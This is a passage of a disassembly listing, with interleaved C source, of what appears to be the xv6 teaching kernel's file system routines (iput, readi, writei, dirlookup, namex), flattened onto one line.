bfree(ip->dev, ip->addrs[i]); 8010184e: 8b 06 mov (%esi),%eax 80101850: e8 7b fb ff ff call 801013d0 <bfree> ip->addrs[i] = 0; 80101855: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx) 8010185c: eb e2 jmp 80101840 <iput+0x80> 8010185e: 66 90 xchg %ax,%ax } } if(ip->addrs[NDIRECT]){ 80101860: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax 80101866: 8b 7d e4 mov -0x1c(%ebp),%edi 80101869: 85 c0 test %eax,%eax 8010186b: 75 2b jne 80101898 <iput+0xd8> brelse(bp); bfree(ip->dev, ip->addrs[NDIRECT]); ip->addrs[NDIRECT] = 0; } ip->size = 0; 8010186d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi) iupdate(ip); 80101874: 89 34 24 mov %esi,(%esp) 80101877: e8 64 fd ff ff call 801015e0 <iupdate> ip->type = 0; 8010187c: 31 c0 xor %eax,%eax 8010187e: 66 89 46 50 mov %ax,0x50(%esi) iupdate(ip); 80101882: 89 34 24 mov %esi,(%esp) 80101885: e8 56 fd ff ff call 801015e0 <iupdate> ip->valid = 0; 8010188a: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi) 80101891: e9 4f ff ff ff jmp 801017e5 <iput+0x25> 80101896: 66 90 xchg %ax,%ax bp = bread(ip->dev, ip->addrs[NDIRECT]); 80101898: 89 44 24 04 mov %eax,0x4(%esp) 8010189c: 8b 06 mov (%esi),%eax for(j = 0; j < NINDIRECT; j++){ 8010189e: 31 db xor %ebx,%ebx bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018a0: 89 04 24 mov %eax,(%esp) 801018a3: e8 28 e8 ff ff call 801000d0 <bread> for(j = 0; j < NINDIRECT; j++){ 801018a8: 89 7d e0 mov %edi,-0x20(%ebp) a = (uint*)bp->data; 801018ab: 8d 48 5c lea 0x5c(%eax),%ecx bp = bread(ip->dev, ip->addrs[NDIRECT]); 801018ae: 89 45 e4 mov %eax,-0x1c(%ebp) for(j = 0; j < NINDIRECT; j++){ 801018b1: 89 cf mov %ecx,%edi 801018b3: 31 c0 xor %eax,%eax 801018b5: eb 0e jmp 801018c5 <iput+0x105> 801018b7: 90 nop 801018b8: 83 c3 01 add $0x1,%ebx 801018bb: 81 fb 80 00 00 00 cmp $0x80,%ebx 801018c1: 89 d8 mov %ebx,%eax 801018c3: 74 10 je 801018d5 <iput+0x115> if(a[j]) 801018c5: 8b 14 87 mov (%edi,%eax,4),%edx 801018c8: 85 d2 test %edx,%edx 801018ca: 74 ec je 801018b8 <iput+0xf8> bfree(ip->dev, a[j]); 801018cc: 8b 06 mov (%esi),%eax 801018ce: e8 fd fa ff ff call 801013d0 <bfree> 801018d3: eb e3 jmp 801018b8 <iput+0xf8> brelse(bp); 801018d5: 8b 45 e4 mov -0x1c(%ebp),%eax 801018d8: 8b 7d e0 mov -0x20(%ebp),%edi 801018db: 89 04 24 mov %eax,(%esp) 801018de: e8 fd e8 ff ff call 801001e0 <brelse> bfree(ip->dev, ip->addrs[NDIRECT]); 801018e3: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx 801018e9: 8b 06 mov (%esi),%eax 801018eb: e8 e0 fa ff ff call 801013d0 <bfree> ip->addrs[NDIRECT] = 0; 801018f0: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi) 801018f7: 00 00 00 801018fa: e9 6e ff ff ff jmp 8010186d <iput+0xad> 801018ff: 90 nop 80101900 <iunlockput>: { 80101900: 55 push %ebp 80101901: 89 e5 mov %esp,%ebp 80101903: 53 push %ebx 80101904: 83 ec 14 sub $0x14,%esp 80101907: 8b 5d 08 mov 0x8(%ebp),%ebx iunlock(ip); 8010190a: 89 1c 24 mov %ebx,(%esp) 8010190d: e8 6e fe ff ff call 80101780 <iunlock> iput(ip); 80101912: 89 5d 08 mov %ebx,0x8(%ebp) } 80101915: 83 c4 14 add $0x14,%esp 80101918: 5b pop %ebx 80101919: 5d pop %ebp iput(ip); 8010191a: e9 a1 fe ff ff jmp 801017c0 <iput> 8010191f: 90 nop 80101920 <stati>: // Copy stat information from inode. // Caller must hold ip->lock. void stati(struct inode *ip, struct stat *st) { 80101920: 55 push %ebp 80101921: 89 e5 mov %esp,%ebp 80101923: 8b 55 08 mov 0x8(%ebp),%edx 80101926: 8b 45 0c mov 0xc(%ebp),%eax st->dev = ip->dev; 80101929: 8b 0a mov (%edx),%ecx 8010192b: 89 48 04 mov %ecx,0x4(%eax) st->ino = ip->inum; 8010192e: 8b 4a 04 mov 0x4(%edx),%ecx 80101931: 89 48 08 mov %ecx,0x8(%eax) st->type = ip->type; 80101934: 0f b7 4a 50 movzwl 0x50(%edx),%ecx 80101938: 66 89 08 mov %cx,(%eax) st->nlink = ip->nlink; 8010193b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx 8010193f: 66 89 48 0c mov %cx,0xc(%eax) st->size = ip->size; 80101943: 8b 52 58 mov 0x58(%edx),%edx 80101946: 89 50 10 mov %edx,0x10(%eax) } 80101949: 5d pop %ebp 8010194a: c3 ret 8010194b: 90 nop 8010194c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101950 <readi>: //PAGEBREAK! // Read data from inode. // Caller must hold ip->lock. int readi(struct inode *ip, char *dst, uint off, uint n) { 80101950: 55 push %ebp 80101951: 89 e5 mov %esp,%ebp 80101953: 57 push %edi 80101954: 56 push %esi 80101955: 53 push %ebx 80101956: 83 ec 2c sub $0x2c,%esp 80101959: 8b 45 0c mov 0xc(%ebp),%eax 8010195c: 8b 7d 08 mov 0x8(%ebp),%edi 8010195f: 8b 75 10 mov 0x10(%ebp),%esi 80101962: 89 45 e0 mov %eax,-0x20(%ebp) 80101965: 8b 45 14 mov 0x14(%ebp),%eax uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101968: 66 83 7f 50 03 cmpw $0x3,0x50(%edi) { 8010196d: 89 45 e4 mov %eax,-0x1c(%ebp) if(ip->type == T_DEV){ 80101970: 0f 84 aa 00 00 00 je 80101a20 <readi+0xd0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) return -1; return devsw[ip->major].read(ip, dst, n); } if(off > ip->size || off + n < off) 80101976: 8b 47 58 mov 0x58(%edi),%eax 80101979: 39 f0 cmp %esi,%eax 8010197b: 0f 82 c7 00 00 00 jb 80101a48 <readi+0xf8> 80101981: 8b 5d e4 mov -0x1c(%ebp),%ebx 80101984: 89 da mov %ebx,%edx 80101986: 01 f2 add %esi,%edx 80101988: 0f 82 ba 00 00 00 jb 80101a48 <readi+0xf8> return -1; if(off + n > ip->size) n = ip->size - off; 8010198e: 89 c1 mov %eax,%ecx 80101990: 29 f1 sub %esi,%ecx 80101992: 39 d0 cmp %edx,%eax 80101994: 0f 43 cb cmovae %ebx,%ecx for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101997: 31 c0 xor %eax,%eax 80101999: 85 c9 test %ecx,%ecx n = ip->size - off; 8010199b: 89 4d e4 mov %ecx,-0x1c(%ebp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 8010199e: 74 70 je 80101a10 <readi+0xc0> 801019a0: 89 7d d8 mov %edi,-0x28(%ebp) 801019a3: 89 c7 mov %eax,%edi 801019a5: 8d 76 00 lea 0x0(%esi),%esi bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019a8: 8b 5d d8 mov -0x28(%ebp),%ebx 801019ab: 89 f2 mov %esi,%edx 801019ad: c1 ea 09 shr $0x9,%edx 801019b0: 89 d8 mov %ebx,%eax 801019b2: e8 09 f9 ff ff call 801012c0 <bmap> 801019b7: 89 44 24 04 mov %eax,0x4(%esp) 801019bb: 8b 03 mov (%ebx),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019bd: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019c2: 89 04 24 mov %eax,(%esp) 801019c5: e8 06 e7 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 801019ca: 8b 4d e4 mov -0x1c(%ebp),%ecx 801019cd: 29 f9 sub %edi,%ecx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 801019cf: 89 c2 mov %eax,%edx m = min(n - tot, BSIZE - off%BSIZE); 801019d1: 89 f0 mov %esi,%eax 801019d3: 25 ff 01 00 00 and $0x1ff,%eax 801019d8: 29 c3 sub %eax,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019da: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019de: 39 cb cmp %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019e0: 89 44 24 04 mov %eax,0x4(%esp) 801019e4: 8b 45 e0 mov -0x20(%ebp),%eax m = min(n - tot, BSIZE - off%BSIZE); 801019e7: 0f 47 d9 cmova %ecx,%ebx memmove(dst, bp->data + off%BSIZE, m); 801019ea: 89 5c 24 08 mov %ebx,0x8(%esp) for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 801019ee: 01 df add %ebx,%edi 801019f0: 01 de add %ebx,%esi memmove(dst, bp->data + off%BSIZE, m); 801019f2: 89 55 dc mov %edx,-0x24(%ebp) 801019f5: 89 04 24 mov %eax,(%esp) 801019f8: e8 13 29 00 00 call 80104310 <memmove> brelse(bp); 801019fd: 8b 55 dc mov -0x24(%ebp),%edx 80101a00: 89 14 24 mov %edx,(%esp) 80101a03: e8 d8 e7 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, dst+=m){ 80101a08: 01 5d e0 add %ebx,-0x20(%ebp) 80101a0b: 39 7d e4 cmp %edi,-0x1c(%ebp) 80101a0e: 77 98 ja 801019a8 <readi+0x58> } return n; 80101a10: 8b 45 e4 mov -0x1c(%ebp),%eax } 80101a13: 83 c4 2c add $0x2c,%esp 80101a16: 5b pop %ebx 80101a17: 5e pop %esi 80101a18: 5f pop %edi 80101a19: 5d pop %ebp 80101a1a: c3 ret 80101a1b: 90 nop 80101a1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read) 80101a20: 0f bf 47 52 movswl 0x52(%edi),%eax 80101a24: 66 83 f8 09 cmp $0x9,%ax 80101a28: 77 1e ja 80101a48 <readi+0xf8> 80101a2a: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax 80101a31: 85 c0 test %eax,%eax 80101a33: 74 13 je 80101a48 <readi+0xf8> return devsw[ip->major].read(ip, dst, n); 80101a35: 8b 75 e4 mov -0x1c(%ebp),%esi 80101a38: 89 75 10 mov %esi,0x10(%ebp) } 80101a3b: 83 c4 2c add $0x2c,%esp 80101a3e: 5b pop %ebx 80101a3f: 5e pop %esi 80101a40: 5f pop %edi 80101a41: 5d pop %ebp return devsw[ip->major].read(ip, dst, n); 80101a42: ff e0 jmp *%eax 80101a44: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80101a48: b8 ff ff ff ff mov $0xffffffff,%eax 80101a4d: eb c4 jmp 80101a13 <readi+0xc3> 80101a4f: 90 nop 80101a50 <writei>: // PAGEBREAK! // Write data to inode. // Caller must hold ip->lock. int writei(struct inode *ip, char *src, uint off, uint n) { 80101a50: 55 push %ebp 80101a51: 89 e5 mov %esp,%ebp 80101a53: 57 push %edi 80101a54: 56 push %esi 80101a55: 53 push %ebx 80101a56: 83 ec 2c sub $0x2c,%esp 80101a59: 8b 45 08 mov 0x8(%ebp),%eax 80101a5c: 8b 75 0c mov 0xc(%ebp),%esi 80101a5f: 8b 4d 14 mov 0x14(%ebp),%ecx uint tot, m; struct buf *bp; if(ip->type == T_DEV){ 80101a62: 66 83 78 50 03 cmpw $0x3,0x50(%eax) { 80101a67: 89 75 dc mov %esi,-0x24(%ebp) 80101a6a: 8b 75 10 mov 0x10(%ebp),%esi 80101a6d: 89 45 d8 mov %eax,-0x28(%ebp) 80101a70: 89 4d e0 mov %ecx,-0x20(%ebp) if(ip->type == T_DEV){ 80101a73: 0f 84 b7 00 00 00 je 80101b30 <writei+0xe0> if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) return -1; return devsw[ip->major].write(ip, src, n); } if(off > ip->size || off + n < off) 80101a79: 8b 45 d8 mov -0x28(%ebp),%eax 80101a7c: 39 70 58 cmp %esi,0x58(%eax) 80101a7f: 0f 82 e3 00 00 00 jb 80101b68 <writei+0x118> 80101a85: 8b 4d e0 mov -0x20(%ebp),%ecx 80101a88: 89 c8 mov %ecx,%eax 80101a8a: 01 f0 add %esi,%eax 80101a8c: 0f 82 d6 00 00 00 jb 80101b68 <writei+0x118> return -1; if(off + n > MAXFILE*BSIZE) 80101a92: 3d 00 18 01 00 cmp $0x11800,%eax 80101a97: 0f 87 cb 00 00 00 ja 80101b68 <writei+0x118> return -1; for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101a9d: 85 c9 test %ecx,%ecx 80101a9f: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp) 80101aa6: 74 77 je 80101b1f <writei+0xcf> bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101aa8: 8b 7d d8 mov -0x28(%ebp),%edi 80101aab: 89 f2 mov %esi,%edx m = min(n - tot, BSIZE - off%BSIZE); 80101aad: bb 00 02 00 00 mov $0x200,%ebx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ab2: c1 ea 09 shr $0x9,%edx 80101ab5: 89 f8 mov %edi,%eax 80101ab7: e8 04 f8 ff ff call 801012c0 <bmap> 80101abc: 89 44 24 04 mov %eax,0x4(%esp) 80101ac0: 8b 07 mov (%edi),%eax 80101ac2: 89 04 24 mov %eax,(%esp) 80101ac5: e8 06 e6 ff ff call 801000d0 <bread> m = min(n - tot, BSIZE - off%BSIZE); 80101aca: 8b 4d e0 mov -0x20(%ebp),%ecx 80101acd: 2b 4d e4 sub -0x1c(%ebp),%ecx memmove(bp->data + off%BSIZE, src, m); 80101ad0: 8b 55 dc mov -0x24(%ebp),%edx bp = bread(ip->dev, bmap(ip, off/BSIZE)); 80101ad3: 89 c7 mov %eax,%edi m = min(n - tot, BSIZE - off%BSIZE); 80101ad5: 89 f0 mov %esi,%eax 80101ad7: 25 ff 01 00 00 and $0x1ff,%eax 80101adc: 29 c3 sub %eax,%ebx 80101ade: 39 cb cmp %ecx,%ebx 80101ae0: 0f 47 d9 cmova %ecx,%ebx memmove(bp->data + off%BSIZE, src, m); 80101ae3: 8d 44 07 5c lea 0x5c(%edi,%eax,1),%eax for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101ae7: 01 de add %ebx,%esi memmove(bp->data + off%BSIZE, src, m); 80101ae9: 89 54 24 04 mov %edx,0x4(%esp) 80101aed: 89 5c 24 08 mov %ebx,0x8(%esp) 80101af1: 89 04 24 mov %eax,(%esp) 80101af4: e8 17 28 00 00 call 80104310 <memmove> log_write(bp); 80101af9: 89 3c 24 mov %edi,(%esp) 80101afc: e8 9f 11 00 00 call 80102ca0 <log_write> brelse(bp); 80101b01: 89 3c 24 mov %edi,(%esp) 80101b04: e8 d7 e6 ff ff call 801001e0 <brelse> for(tot=0; tot<n; tot+=m, off+=m, src+=m){ 80101b09: 01 5d e4 add %ebx,-0x1c(%ebp) 80101b0c: 8b 45 e4 mov -0x1c(%ebp),%eax 80101b0f: 01 5d dc add %ebx,-0x24(%ebp) 80101b12: 39 45 e0 cmp %eax,-0x20(%ebp) 80101b15: 77 91 ja 80101aa8 <writei+0x58> } if(n > 0 && off > ip->size){ 80101b17: 8b 45 d8 mov -0x28(%ebp),%eax 80101b1a: 39 70 58 cmp %esi,0x58(%eax) 80101b1d: 72 39 jb 80101b58 <writei+0x108> ip->size = off; iupdate(ip); } return n; 80101b1f: 8b 45 e0 mov -0x20(%ebp),%eax } 80101b22: 83 c4 2c add $0x2c,%esp 80101b25: 5b pop %ebx 80101b26: 5e pop %esi 80101b27: 5f pop %edi 80101b28: 5d pop %ebp 80101b29: c3 ret 80101b2a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write) 80101b30: 0f bf 40 52 movswl 0x52(%eax),%eax 80101b34: 66 83 f8 09 cmp $0x9,%ax 80101b38: 77 2e ja 80101b68 <writei+0x118> 80101b3a: 8b 04 c5 64 09 11 80 mov -0x7feef69c(,%eax,8),%eax 80101b41: 85 c0 test %eax,%eax 80101b43: 74 23 je 80101b68 <writei+0x118> return devsw[ip->major].write(ip, src, n); 80101b45: 89 4d 10 mov %ecx,0x10(%ebp) } 80101b48: 83 c4 2c add $0x2c,%esp 80101b4b: 5b pop %ebx 80101b4c: 5e pop %esi 80101b4d: 5f pop %edi 80101b4e: 5d pop %ebp return devsw[ip->major].write(ip, src, n); 80101b4f: ff e0 jmp *%eax 80101b51: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi ip->size = off; 80101b58: 8b 45 d8 mov -0x28(%ebp),%eax 80101b5b: 89 70 58 mov %esi,0x58(%eax) iupdate(ip); 80101b5e: 89 04 24 mov %eax,(%esp) 80101b61: e8 7a fa ff ff call 801015e0 <iupdate> 80101b66: eb b7 jmp 80101b1f <writei+0xcf> } 80101b68: 83 c4 2c add $0x2c,%esp return -1; 80101b6b: b8 ff ff ff ff mov $0xffffffff,%eax } 80101b70: 5b pop %ebx 80101b71: 5e pop %esi 80101b72: 5f pop %edi 80101b73: 5d pop %ebp 80101b74: c3 ret 80101b75: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80101b79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101b80 <namecmp>: //PAGEBREAK! // Directories int namecmp(const char *s, const char *t) { 80101b80: 55 push %ebp 80101b81: 89 e5 mov %esp,%ebp 80101b83: 83 ec 18 sub $0x18,%esp return strncmp(s, t, DIRSIZ); 80101b86: 8b 45 0c mov 0xc(%ebp),%eax 80101b89: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101b90: 00 80101b91: 89 44 24 04 mov %eax,0x4(%esp) 80101b95: 8b 45 08 mov 0x8(%ebp),%eax 80101b98: 89 04 24 mov %eax,(%esp) 80101b9b: e8 f0 27 00 00 call 80104390 <strncmp> } 80101ba0: c9 leave 80101ba1: c3 ret 80101ba2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80101bb0 <dirlookup>: // Look for a directory entry in a directory. // If found, set *poff to byte offset of entry. struct inode* dirlookup(struct inode *dp, char *name, uint *poff) { 80101bb0: 55 push %ebp 80101bb1: 89 e5 mov %esp,%ebp 80101bb3: 57 push %edi 80101bb4: 56 push %esi 80101bb5: 53 push %ebx 80101bb6: 83 ec 2c sub $0x2c,%esp 80101bb9: 8b 5d 08 mov 0x8(%ebp),%ebx uint off, inum; struct dirent de; if(dp->type != T_DIR) 80101bbc: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx) 80101bc1: 0f 85 97 00 00 00 jne 80101c5e <dirlookup+0xae> panic("dirlookup not DIR"); for(off = 0; off < dp->size; off += sizeof(de)){ 80101bc7: 8b 53 58 mov 0x58(%ebx),%edx 80101bca: 31 ff xor %edi,%edi 80101bcc: 8d 75 d8 lea -0x28(%ebp),%esi 80101bcf: 85 d2 test %edx,%edx 80101bd1: 75 0d jne 80101be0 <dirlookup+0x30> 80101bd3: eb 73 jmp 80101c48 <dirlookup+0x98> 80101bd5: 8d 76 00 lea 0x0(%esi),%esi 80101bd8: 83 c7 10 add $0x10,%edi 80101bdb: 39 7b 58 cmp %edi,0x58(%ebx) 80101bde: 76 68 jbe 80101c48 <dirlookup+0x98> if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de)) 80101be0: c7 44 24 0c 10 00 00 movl $0x10,0xc(%esp) 80101be7: 00 80101be8: 89 7c 24 08 mov %edi,0x8(%esp) 80101bec: 89 74 24 04 mov %esi,0x4(%esp) 80101bf0: 89 1c 24 mov %ebx,(%esp) 80101bf3: e8 58 fd ff ff call 80101950 <readi> 80101bf8: 83 f8 10 cmp $0x10,%eax 80101bfb: 75 55 jne 80101c52 <dirlookup+0xa2> panic("dirlookup read"); if(de.inum == 0) 80101bfd: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp) 80101c02: 74 d4 je 80101bd8 <dirlookup+0x28> return strncmp(s, t, DIRSIZ); 80101c04: 8d 45 da lea -0x26(%ebp),%eax 80101c07: 89 44 24 04 mov %eax,0x4(%esp) 80101c0b: 8b 45 0c mov 0xc(%ebp),%eax 80101c0e: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101c15: 00 80101c16: 89 04 24 mov %eax,(%esp) 80101c19: e8 72 27 00 00 call 80104390 <strncmp> continue; if(namecmp(name, de.name) == 0){ 80101c1e: 85 c0 test %eax,%eax 80101c20: 75 b6 jne 80101bd8 <dirlookup+0x28> // entry matches path element if(poff) 80101c22: 8b 45 10 mov 0x10(%ebp),%eax 80101c25: 85 c0 test %eax,%eax 80101c27: 74 05 je 80101c2e <dirlookup+0x7e> *poff = off; 80101c29: 8b 45 10 mov 0x10(%ebp),%eax 80101c2c: 89 38 mov %edi,(%eax) inum = de.inum; 80101c2e: 0f b7 55 d8 movzwl -0x28(%ebp),%edx return iget(dp->dev, inum); 80101c32: 8b 03 mov (%ebx),%eax 80101c34: e8 c7 f5 ff ff call 80101200 <iget> } } return 0; } 80101c39: 83 c4 2c add $0x2c,%esp 80101c3c: 5b pop %ebx 80101c3d: 5e pop %esi 80101c3e: 5f pop %edi 80101c3f: 5d pop %ebp 80101c40: c3 ret 80101c41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80101c48: 83 c4 2c add $0x2c,%esp return 0; 80101c4b: 31 c0 xor %eax,%eax } 80101c4d: 5b pop %ebx 80101c4e: 5e pop %esi 80101c4f: 5f pop %edi 80101c50: 5d pop %ebp 80101c51: c3 ret panic("dirlookup read"); 80101c52: c7 04 24 79 6f 10 80 movl $0x80106f79,(%esp) 80101c59: e8 02 e7 ff ff call 80100360 <panic> panic("dirlookup not DIR"); 80101c5e: c7 04 24 67 6f 10 80 movl $0x80106f67,(%esp) 80101c65: e8 f6 e6 ff ff call 80100360 <panic> 80101c6a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101c70 <namex>: // If parent != 0, return the inode for the parent and copy the final // path element into name, which must have room for DIRSIZ bytes. // Must be called inside a transaction since it calls iput(). static struct inode* namex(char *path, int nameiparent, char *name) { 80101c70: 55 push %ebp 80101c71: 89 e5 mov %esp,%ebp 80101c73: 57 push %edi 80101c74: 89 cf mov %ecx,%edi 80101c76: 56 push %esi 80101c77: 53 push %ebx 80101c78: 89 c3 mov %eax,%ebx 80101c7a: 83 ec 2c sub $0x2c,%esp struct inode *ip, *next; if(*path == '/') 80101c7d: 80 38 2f cmpb $0x2f,(%eax) { 80101c80: 89 55 e0 mov %edx,-0x20(%ebp) if(*path == '/') 80101c83: 0f 84 51 01 00 00 je 80101dda <namex+0x16a> ip = iget(ROOTDEV, ROOTINO); else ip = idup(myproc()->cwd); 80101c89: e8 02 1a 00 00 call 80103690 <myproc> 80101c8e: 8b 70 68 mov 0x68(%eax),%esi acquire(&icache.lock); 80101c91: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101c98: e8 93 24 00 00 call 80104130 <acquire> ip->ref++; 80101c9d: 83 46 08 01 addl $0x1,0x8(%esi) release(&icache.lock); 80101ca1: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp) 80101ca8: e8 73 25 00 00 call 80104220 <release> 80101cad: eb 04 jmp 80101cb3 <namex+0x43> 80101caf: 90 nop path++; 80101cb0: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101cb3: 0f b6 03 movzbl (%ebx),%eax 80101cb6: 3c 2f cmp $0x2f,%al 80101cb8: 74 f6 je 80101cb0 <namex+0x40> if(*path == 0) 80101cba: 84 c0 test %al,%al 80101cbc: 0f 84 ed 00 00 00 je 80101daf <namex+0x13f> while(*path != '/' && *path != 0) 80101cc2: 0f b6 03 movzbl (%ebx),%eax 80101cc5: 89 da mov %ebx,%edx 80101cc7: 84 c0 test %al,%al 80101cc9: 0f 84 b1 00 00 00 je 80101d80 <namex+0x110> 80101ccf: 3c 2f cmp $0x2f,%al 80101cd1: 75 0f jne 80101ce2 <namex+0x72> 80101cd3: e9 a8 00 00 00 jmp 80101d80 <namex+0x110> 80101cd8: 3c 2f cmp $0x2f,%al 80101cda: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80101ce0: 74 0a je 80101cec <namex+0x7c> path++; 80101ce2: 83 c2 01 add $0x1,%edx while(*path != '/' && *path != 0) 80101ce5: 0f b6 02 movzbl (%edx),%eax 80101ce8: 84 c0 test %al,%al 80101cea: 75 ec jne 80101cd8 <namex+0x68> 80101cec: 89 d1 mov %edx,%ecx 80101cee: 29 d9 sub %ebx,%ecx if(len >= DIRSIZ) 80101cf0: 83 f9 0d cmp $0xd,%ecx 80101cf3: 0f 8e 8f 00 00 00 jle 80101d88 <namex+0x118> memmove(name, s, DIRSIZ); 80101cf9: 89 5c 24 04 mov %ebx,0x4(%esp) 80101cfd: c7 44 24 08 0e 00 00 movl $0xe,0x8(%esp) 80101d04: 00 80101d05: 89 3c 24 mov %edi,(%esp) 80101d08: 89 55 e4 mov %edx,-0x1c(%ebp) 80101d0b: e8 00 26 00 00 call 80104310 <memmove> path++; 80101d10: 8b 55 e4 mov -0x1c(%ebp),%edx 80101d13: 89 d3 mov %edx,%ebx while(*path == '/') 80101d15: 80 3a 2f cmpb $0x2f,(%edx) 80101d18: 75 0e jne 80101d28 <namex+0xb8> 80101d1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi path++; 80101d20: 83 c3 01 add $0x1,%ebx while(*path == '/') 80101d23: 80 3b 2f cmpb $0x2f,(%ebx) 80101d26: 74 f8 je 80101d20 <namex+0xb0> while((path = skipelem(path, name)) != 0){ ilock(ip); 80101d28: 89 34 24 mov %esi,(%esp) 80101d2b: e8 70 f9 ff ff call 801016a0 <ilock> if(ip->type != T_DIR){ 80101d30: 66 83 7e 50 01 cmpw $0x1,0x50(%esi) 80101d35: 0f 85 85 00 00 00 jne 80101dc0 <namex+0x150> iunlockput(ip); return 0; } if(nameiparent && *path == '\0'){ 80101d3b: 8b 55 e0 mov -0x20(%ebp),%edx 80101d3e: 85 d2 test %edx,%edx 80101d40: 74 09 je 80101d4b <namex+0xdb> 80101d42: 80 3b 00 cmpb $0x0,(%ebx) 80101d45: 0f 84 a5 00 00 00 je 80101df0 <namex+0x180> // Stop one level early. iunlock(ip); return ip; } if((next = dirlookup(ip, name, 0)) == 0){ 80101d4b: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp) 80101d52: 00 80101d53: 89 7c 24 04 mov %edi,0x4(%esp) 80101d57: 89 34 24 mov %esi,(%esp) 80101d5a: e8 51 fe ff ff call 80101bb0 <dirlookup> 80101d5f: 85 c0 test %eax,%eax 80101d61: 74 5d je 80101dc0 <namex+0x150> iunlock(ip); 80101d63: 89 34 24 mov %esi,(%esp) 80101d66: 89 45 e4 mov %eax,-0x1c(%ebp) 80101d69: e8 12 fa ff ff call 80101780 <iunlock> iput(ip); 80101d6e: 89 34 24 mov %esi,(%esp) 80101d71: e8 4a fa ff ff call 801017c0 <iput> iunlockput(ip); return 0; } iunlockput(ip); ip = next; 80101d76: 8b 45 e4 mov -0x1c(%ebp),%eax 80101d79: 89 c6 mov %eax,%esi 80101d7b: e9 33 ff ff ff jmp 80101cb3 <namex+0x43> while(*path != '/' && *path != 0) 80101d80: 31 c9 xor %ecx,%ecx 80101d82: 8d b6 00 00 00 00 lea 0x0(%esi),%esi memmove(name, s, len); 80101d88: 89 4c 24 08 mov %ecx,0x8(%esp) 80101d8c: 89 5c 24 04 mov %ebx,0x4(%esp) 80101d90: 89 3c 24 mov %edi,(%esp) 80101d93: 89 55 dc mov %edx,-0x24(%ebp) 80101d96: 89 4d e4 mov %ecx,-0x1c(%ebp) 80101d99: e8 72 25 00 00 call 80104310 <memmove> name[len] = 0; 80101d9e: 8b 4d e4 mov -0x1c(%ebp),%ecx 80101da1: 8b 55 dc mov -0x24(%ebp),%edx 80101da4: c6 04 0f 00 movb $0x0,(%edi,%ecx,1) 80101da8: 89 d3 mov %edx,%ebx 80101daa: e9 66 ff ff ff jmp 80101d15 <namex+0xa5> } if(nameiparent){ 80101daf: 8b 45 e0 mov -0x20(%ebp),%eax 80101db2: 85 c0 test %eax,%eax 80101db4: 75 4c jne 80101e02 <namex+0x192> 80101db6: 89 f0 mov %esi,%eax iput(ip); return 0; } return ip; } 80101db8: 83 c4 2c add $0x2c,%esp 80101dbb: 5b pop %ebx 80101dbc: 5e pop %esi 80101dbd: 5f pop %edi 80101dbe: 5d pop %ebp 80101dbf: c3 ret iunlock(ip); 80101dc0: 89 34 24 mov %esi,(%esp) 80101dc3: e8 b8 f9 ff ff call 80101780 <iunlock> iput(ip); 80101dc8: 89 34 24 mov %esi,(%esp) 80101dcb: e8 f0 f9 ff ff call 801017c0 <iput> } 80101dd0: 83 c4 2c add $0x2c,%esp return 0; 80101dd3: 31 c0 xor %eax,%eax } 80101dd5: 5b pop %ebx 80101dd6: 5e pop %esi 80101dd7: 5f pop %edi 80101dd8: 5d pop %ebp 80101dd9: c3 ret ip = iget(ROOTDEV, ROOTINO); 80101dda: ba 01 00 00 00 mov $0x1,%edx 80101ddf: b8 01 00 00 00 mov $0x1,%eax 80101de4: e8 17 f4 ff ff call 80101200 <iget> 80101de9: 